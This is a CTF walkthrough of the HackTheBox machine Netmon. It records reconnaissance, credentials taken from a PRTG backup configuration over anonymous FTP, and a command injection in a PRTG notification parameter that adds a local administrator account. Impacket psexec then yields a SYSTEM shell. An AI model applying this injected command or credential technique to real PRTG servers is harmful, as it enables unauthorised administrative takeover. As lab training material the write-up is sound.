The next HackTheBox target in my sights is Netmon. It’s a relatively simple Windows-based target sitting at


As always, I start with a quick nmap TCP scan:

root@haxys:~/htb/netmon# nmap -PN -A -oG quick-tcp.gnmap
Starting Nmap 7.70 ( ) at 2019-08-13 14:09 EDT
Nmap scan report for
Host is up (0.076s latency).
Not shown: 995 closed ports
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_02-25-19  11:49PM       <DIR>          Windows
| ftp-syst:
|_  SYST: Windows_NT
80/tcp  open  http         Indy httpd (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 46.58 seconds

We’ve got FTP with anonymous access enabled, a network monitor running on Indy httpd, and some Windows services. Five open ports; a good number. Not too many, not too few.

Based on the results of nmap's anonymous FTP directory listing, it appears as if the entire C: drive is being shared, which means I might be able to access configuration data or other sensitive files that might help me gain a foot-hold. It may also help me learn more about the OS and the various software versions installed.

The HTTP server is running a network monitor, hence the name of the system being called Netmon. Likely this software will be vital to ingress into the system. That being said… Never judge a thing by its name. If names were honest, Citizen Kane would have been called I’d Rather Be Sledding.

I want to dig deeper into the services running on 139 and 445 as well. First, however, I’m going to start nmap performing a full-range TCP scan in the background, so it’ll be scanning while I work:

root@haxys:~/htb/netmon# nmap -PN -p- -oG full-tcp.gnmap > /dev/null & 2>&1
[1] 2267

Rejection Blues

Ports 139 and 445 are used by SMB/Samba and NetBIOS. I’ll see what I can learn from the system using enum4linux:

root@haxys:~/htb/netmon# enum4linux -a
Starting enum4linux v0.8.9 ( ) on Tue Aug 13 14:37:49 2019

|    Target Information    |
Target ...........
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

|    Enumerating Workgroup/Domain on    |
[E] Can't find workgroup/domain

|    Nbtstat Information for    |
Looking up status of
No reply from

|    Session Check on    |
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./ line 437.
[E] Server doesn't allow session using username '', password ''.  Aborting remainder of tests.

Damn. Looks like enum4linux wasn’t able to retrieve any information from the system. I’ll try nbtscan next:

root@haxys:~/htb/netmon# nbtscan -r
Doing NBT name scan for addresses from

IP address       NetBIOS Name     Server    User             MAC address      

Still nothing. I’ll try one more script to see if nmap can pull any data from the target:

root@haxys:~/htb/netmon# nmap -v -p 139,445 --script=smb-os-discovery
Starting Nmap 7.70 ( ) at 2019-08-13 14:41 EDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 14:41
Completed NSE at 14:41, 0.00s elapsed
Initiating Ping Scan at 14:41
Scanning [4 ports]
Completed Ping Scan at 14:41, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:41
Completed Parallel DNS resolution of 1 host. at 14:41, 6.54s elapsed
Initiating SYN Stealth Scan at 14:41
Scanning [2 ports]
Discovered open port 445/tcp on
Discovered open port 139/tcp on
Completed SYN Stealth Scan at 14:41, 0.12s elapsed (2 total ports)
NSE: Script scanning
Initiating NSE at 14:41
Completed NSE at 14:41, 1.32s elapsed
Nmap scan report for
Host is up (0.075s latency).

139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

NSE: Script Post-scanning.
Initiating NSE at 14:41
Completed NSE at 14:41, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.39 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)

No luck. It seems no matter what I try, Samba doesn’t want to dance.

I’m not one to linger. I check on my full-range TCP scan, and find that it has completed. A few additional ports were discovered:

  • 5985 (wsman)
  • 47001 (winrm)
  • 49664 through 49669

I doubt that any of these ports will be useful to me, but I make a note of them nonetheless.

Time to check out the network monitor website. I connect to the service via Firefox, and I’m greeted with a login page:

Netmon Login Page

The system is running PRTG Network Monitor, according to the footer. I’ll see if searchsploit turns anything up:

root@haxys:~/htb/netmon# searchsploit prtg monitor
 Exploit Title                                                           
PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution     
PRTG Network Monitor < - Stack Overflow (Denial of Service)
Shellcodes: No Result

Interesting. There’s an authenticated RCE, but it’s aimed at a different version. The Stack Overflow DoS is closer to the correct version, but I don’t want to cause a DoS. It’s possible I could transform the DoS into a proper exploit, but that’s a rabbit hole I don’t want to get stuck in unless I have no other options. I’ll look into the RCE and see if I might have some luck. I examine the exploit with searchsploit -x exploits/windows/webapps/

According to the exploit, the default login credentials for the Network Monitor are prtgadmin::prtgadmin. I attempt to log in with these credentials, but they do not work. I do a little more snooping and find an article detailing the use of the system for privilege escalation, and another article performing a command injection in a similar manner. Regardless, all of these are authenticated attacks, and I don’t have credentials yet.

Going Spelunking

Time to turn my attention to the FTP service and see what I can uncover:

root@haxys:~/htb/netmon# ftp
Connected to
220 Microsoft FTP Service
Name ( anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16  10:46PM       <DIR>          $RECYCLE.BIN
02-03-19  12:18AM                 1024 .rnd
11-20-16  09:59PM               389408 bootmgr
07-16-16  09:10AM                    1 BOOTNXT
02-03-19  08:05AM       <DIR>          Documents and Settings
02-25-19  10:15PM       <DIR>          inetpub
08-13-19  02:02PM            738197504 pagefile.sys
07-16-16  09:18AM       <DIR>          PerfLogs
02-25-19  10:56PM       <DIR>          Program Files
02-03-19  12:28AM       <DIR>          Program Files (x86)
02-25-19  10:56PM       <DIR>          ProgramData
02-03-19  08:05AM       <DIR>          Recovery
02-03-19  08:04AM       <DIR>          System Volume Information
02-03-19  08:08AM       <DIR>          Users
02-25-19  11:49PM       <DIR>          Windows
226 Transfer complete.

While exploring, I happen upon the user.txt file in the C:\Users\Public\ directory. I can download and read the file, and see the flag it contains. However, I haven’t actually got a shell yet, so I disregard the flag for now. I find Netmon installed in C:\Program Files (x86)\PRTG Network Monitor\, though I don’t have write permissions in the directory, so I wouldn’t be able to change anything.

In the cert subdirectory, I find a host of various encryption and signing certificates. While I doubt they’ll do me much good here, if this was a true pentest, I’d be sure to tell the client that their Netmon certificates are compromised, which could enable Man-in-the-Middle (MitM) attacks against anyone using the Netmon service. Such attacks could lead to credential compromise, which could give me just the access I need to take advantage of that RCE exploit searchsploit told me about… But alas, I’ll never know, because a MitM attack is out of the question. This isn’t a real pentest, it’s a standalone CTF. And I’ll have to find credentials another way.

According to the developers’ website, the Network Monitor stores its data in %programdata%\Paessler\PRTG Network Monitor. Browsing to C:\ProgramData\Paessler\PRTG Network Monitor, I find the configuration data I seek:

ftp> pwd
257 "/ProgramData/Paessler/PRTG Network Monitor" is current directory.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19  12:40AM       <DIR>          Configuration Auto-Backups
08-13-19  02:04PM       <DIR>          Log Database
02-03-19  12:18AM       <DIR>          Logs (Debug)
02-03-19  12:18AM       <DIR>          Logs (Sensors)
02-03-19  12:18AM       <DIR>          Logs (System)
08-13-19  02:04PM       <DIR>          Logs (Web Server)
08-13-19  02:09PM       <DIR>          Monitoring Database
02-25-19  10:54PM              1189697 PRTG Configuration.dat
02-25-19  10:54PM              1189697 PRTG Configuration.old
07-14-18  03:13AM              1153755 PRTG Configuration.old.bak
08-13-19  04:08PM              1715060 PRTG Graph Data Cache.dat
02-25-19  11:00PM       <DIR>          Report PDFs
02-03-19  12:18AM       <DIR>          System Information Database
02-03-19  12:40AM       <DIR>          Ticket Database
02-03-19  12:18AM       <DIR>          ToDo Database
226 Transfer complete.

I decide to pull the PRTG Configuration files, to see what’s inside. After searching around a bit, I find in interesting record in the PRTG Configuration.old.bak file:

<?xml version="1.0" encoding="UTF-8"?>
  <root version="16" oct="PRTG Network Monitor" saved="7/14/2018 3:13:37 AM" max="2016" guid="{221B25D6-9282-418B-8364-F59561032EE3}" treeversion="0" created="2019-02-02-23-18-27" trial="42f234beedd545338910317db1fca74dbe84030f">
    <basenode id="-1000">
        <group id="0">
      	      <!-- User: prtgadmin -->

Bingo! Login credentials. I check to see if they work in the web login, but unfortunately they don’t. Granted, they’re from an old backup file. According to the directory listing, this file was last updated on July 14, 2018:

07-14-18  03:13AM              1153755 PRTG Configuration.old.bak

Meanwhile, the most recent configuration file was created on February 25, 2019:

02-25-19  10:54PM              1189697 PRTG Configuration.dat

Perhaps the admin changed the password to suit the new year? I try PrTg@dmin2019 as the password, and I’m in:

Netmon Login

Gaining Access

Revisiting the authenticated RCE I found earlier with searchsploit, I learn that I need to grab my authentication cookie from the browser, so I open Firefox’s Inspector with Ctrl+Shift+I and browse to the cookies:

Document Cookie

I copy my cookie’s contents and format it to work with the exploit:

_ga=GA1.4.2063293811.1565721770; _gid=GA1.4.250019242.1565721770; OCTOPUS1813713946=e0UxMTkwRkVELTg0NUYtNEYxNC04RDgyLTJGMzdGRkNDMkYyNn0=

Testing the exploit, however, I find that it crashes and fails to execute:

root@haxys:~/htb/netmon# ./
bash: ./ /bin/bash^M: bad interpreter: No such file or directory
root@haxys:~/htb/netmon# bash
  ... line 16: $'\r': command not found line 17: $'\r': command not found line 18: syntax error near unexpected token `$'\r''
' line 18: `usage()

Looks like I’m going to have to do this manually. Following one of the guides I discovered earlier, I click Setup > Account Settings > Notifications, then add a new notification by clicking the blue plus sign (+) on the right side of the page and selecting Add new notification. I fill in the details for a new notification, called TEST NOTIFICATION, leaving everything according to the defaults and enabling the Execute Program option. From the Program File drop-down, I select the outfile.ps1 demo, and I set the Parameter option to read test.txt | net user haxys Passw0rd! /add ; net localgroup administrators haxys /add:

Execute Program

If this works, a new account called haxys should be created on the system, with administrative permissions. I save the new notification, then click the notification’s row to bring up the blue options menu to the right, then select Send test notification (the little bell icon):

Send Test

The application notifies me that the notification was sent. If all went according to plan, I should be able to access the system with the account I set up. Using from Impacket, I attempt to connect to the system:

root@haxys:~/htb/netmon# ./ haxys:'Passw0rd!'@
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on
[*] Found writable share ADMIN$
[*] Uploading file kQNFJLuS.exe
[*] Opening SVCManager on
[*] Creating service zVJM on
[*] Starting service zVJM.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.


Bingo! I check to see which account I’m using:

nt authority\system

Nice! I’ve got root. Time to recover the user.txt and root.txt flags!

C:\Windows\system32>cd c:\Users\Public\       

c:\Users\Public>type user.txt

One down, one to go…

c:\Users\Public>cd "../../Documents and Settings/Administrator/Desktop"

c:\Documents and Settings\Administrator\Desktop>type root.txt

And voila! System owned.


This box was particularly annoying. While the route of exploitation was relatively simple, and while there were plenty of resources to learn what I needed to learn, I struggled to get the exploit to work. I tried the shell script searchsploit provided, but it wouldn’t run properly on my system. Even the method that finally worked required multiple attempts and multiple resets of the VM.

After reaching a point of exasperation, I looked online to see if I could find tutorials that pointed out what I was doing wrong… Yet all the write-ups and walkthroughs I found followed similar steps to mine, used the same script, included piss-poor documentation, and overall didn’t help at all. I even followed the steps of the official write-up posted on HackTheBox, and even the official write-up didn’t work the first time. Nor the second. Nor the fifth.

Someone once told me “insanity is doing the same thing over and over and expecting different results.” Yet, in this particular case, doing the same thing over and over provided different results; mostly failure, but finally success. And this annoys the heck out of me. Computers are logical machines, yet somehow they manage sometimes to defy logic and act erratically.

As a programmer, I hate when my software performs in unpredictable ways. That’s what I call a bug, and I strive to eliminate such behavior. However, with systems that are so huge and complex, with so many moving parts and points of failure, such bugs are often hard to find and fix.

As a hacker, software flaws are my bread and butter. But it still drives me batty when a well-known, well-documented exploit that ought to work somehow entirely fails to do so repeatedly. And it drives me even crazier when an attack fails to work repeatedly, and then suddenly works just fine. Because I’m left wondering, what caused it to fail? Why did it suddenly start working? If I meet this exploit in the wild, will I have to try repeated exploitation attempts until it works? Or will I be wasting valuable time running repeated attempts on a red herring, just because the vulnerability is weird like that?

Ah, well. What matters is that I succeeded, in the end.